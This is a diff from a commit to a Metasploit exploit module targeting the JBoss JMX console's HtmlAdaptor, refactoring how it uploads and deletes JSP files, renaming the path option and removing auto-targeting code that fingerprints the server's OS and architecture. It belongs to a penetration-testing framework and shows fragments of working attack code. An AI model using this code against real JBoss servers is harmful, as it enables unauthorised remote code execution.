1
- # -*- coding: binary -*-
2
-
3
1
##
4
2
# This module requires Metasploit: http//metasploit.com/download
5
3
# Current source: https://github.com/rapid7/metasploit-framework
@@ -12,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
12
10
13
11
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
14
12
15
- include Msf ::Exploit :: Remote :: HttpClient
13
+ include Msf ::HTTP :: JBoss
16
14
17
15
def initialize ( info = { } )
18
16
super ( update_info ( info ,
@@ -78,12 +76,8 @@ def initialize(info = {})
78
76
register_options (
79
77
[
80
78
Opt ::RPORT ( 8080 ) ,
81
- OptString . new ( 'USERNAME' , [ false , 'The username to authenticate as' ] ) ,
82
- OptString . new ( 'PASSWORD' , [ false , 'The password for the specified username' ] ) ,
83
79
OptString . new ( 'JSP' , [ false , 'JSP name to use without .jsp extension (default: random)' , nil ] ) ,
84
- OptString . new ( 'APPBASE' , [ false , 'Application base name, (default: random)' , nil ] ) ,
85
- OptString . new ( 'PATH' , [ true , 'The URI path of the JMX console' , '/jmx-console' ] ) ,
86
- OptEnum . new ( 'VERB' , [ true , 'HTTP Method to use (for CVE-2010-0738)' , 'POST' , [ 'GET' , 'POST' , 'HEAD' ] ] )
80
+ OptString . new ( 'APPBASE' , [ false , 'Application base name, (default: random)' , nil ] )
87
81
] , self . class )
88
82
end
89
83
@@ -274,14 +268,14 @@ def upload_file(base_name, jsp_name, content)
274
268
if ( datastore [ 'VERB' ] == "POST" )
275
269
res = send_request_cgi (
276
270
{
277
- 'uri' => normalize_uri ( datastore [ 'PATH ' ] , '/HtmlAdaptor' ) ,
271
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI ' ] , '/HtmlAdaptor' ) ,
278
272
'method' => datastore [ 'VERB' ] ,
279
273
'data' => data
280
274
} , 5 )
281
275
else
282
276
res = send_request_cgi (
283
277
{
284
- 'uri' => normalize_uri ( datastore [ 'PATH ' ] , '/HtmlAdaptor' ) + "?#{ data } " ,
278
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI ' ] , '/HtmlAdaptor' ) + "?#{ data } " ,
285
279
'method' => datastore [ 'VERB' ] ,
286
280
} , 30 )
287
281
end
@@ -305,14 +299,14 @@ def delete_file(folder, name, ext)
305
299
if ( datastore [ 'VERB' ] == "POST" )
306
300
res = send_request_cgi (
307
301
{
308
- 'uri' => normalize_uri ( datastore [ 'PATH ' ] , '/HtmlAdaptor' ) ,
302
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI ' ] , '/HtmlAdaptor' ) ,
309
303
'method' => datastore [ 'VERB' ] ,
310
304
'data' => data
311
305
} , 5 )
312
306
else
313
307
res = send_request_cgi (
314
308
{
315
- 'uri' => normalize_uri ( datastore [ 'PATH ' ] , '/HtmlAdaptor;index.jsp' ) + "?#{ data } " ,
309
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI ' ] , '/HtmlAdaptor;index.jsp' ) + "?#{ data } " ,
316
310
'method' => datastore [ 'VERB' ] ,
317
311
} , 30 )
318
312
end
@@ -321,6 +315,7 @@ def delete_file(folder, name, ext)
321
315
322
316
# Call the URL multiple times until we have hit
323
317
def call_uri_mtimes ( uri , num_attempts = 5 )
318
+ verb = datastore [ 'VERB' ]
324
319
verb = 'HEAD' if ( datastore [ 'VERB' ] != 'GET' and datastore [ 'VERB' ] != 'POST' )
325
320
326
321
# JBoss might need some time for the deployment. Try 5 times at most and
@@ -353,70 +348,4 @@ def call_uri_mtimes(uri, num_attempts = 5)
353
348
end
354
349
end
355
350
356
-
357
- def auto_target
358
- print_status ( "Attempting to automatically select a target..." )
359
- res = query_serverinfo
360
- if not ( plat = detect_platform ( res ) )
361
- fail_with ( Failure ::NoTarget , 'Unable to detect platform!' )
362
- end
363
-
364
- if not ( arch = detect_architecture ( res ) )
365
- fail_with ( Failure ::NoTarget , 'Unable to detect architecture!' )
366
- end
367
-
368
- # see if we have a match
369
- targets . each { |t | return t if ( t [ 'Platform' ] == plat ) and ( t [ 'Arch' ] == arch ) }
370
-
371
- # no matching target found, use Java as fallback
372
- java_targets = targets . select { |t | t . name =~ /^Java/ }
373
- return java_targets [ 0 ]
374
- end
375
-
376
-
377
- def query_serverinfo
378
- path = normalize_uri ( datastore [ 'PATH' ] , '/HtmlAdaptor' ) + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
379
- res = send_request_raw (
380
- {
381
- 'uri' => path ,
382
- 'method' => datastore [ 'VERB' ]
383
- } , 20 )
384
-
385
- if ( not res ) or ( res . code != 200 )
386
- print_error ( "Failed: Error requesting #{ path } " )
387
- return nil
388
- end
389
-
390
- res
391
- end
392
-
393
- # Try to autodetect the target platform
394
- def detect_platform ( res )
395
- if ( res . body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/ td>/m )
396
- os = $1
397
- if ( os =~ /Linux/i )
398
- return 'linux'
399
- elsif ( os =~ /FreeBSD/i )
400
- return 'linux'
401
- elsif ( os =~ /Windows/i )
402
- return 'win'
403
- end
404
- end
405
- nil
406
- end
407
-
408
-
409
- # Try to autodetect the target architecture
410
- def detect_architecture ( res )
411
- if ( res . body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/ td>/m )
412
- arch = $1
413
- if ( arch =~ /(x86|i386|i686)/i )
414
- return ARCH_X86
415
- elsif ( arch =~ /(x86_64|amd64)/i )
416
- return ARCH_X86
417
- end
418
- end
419
- nil
420
- end
421
-
422
351
end
0 commit comments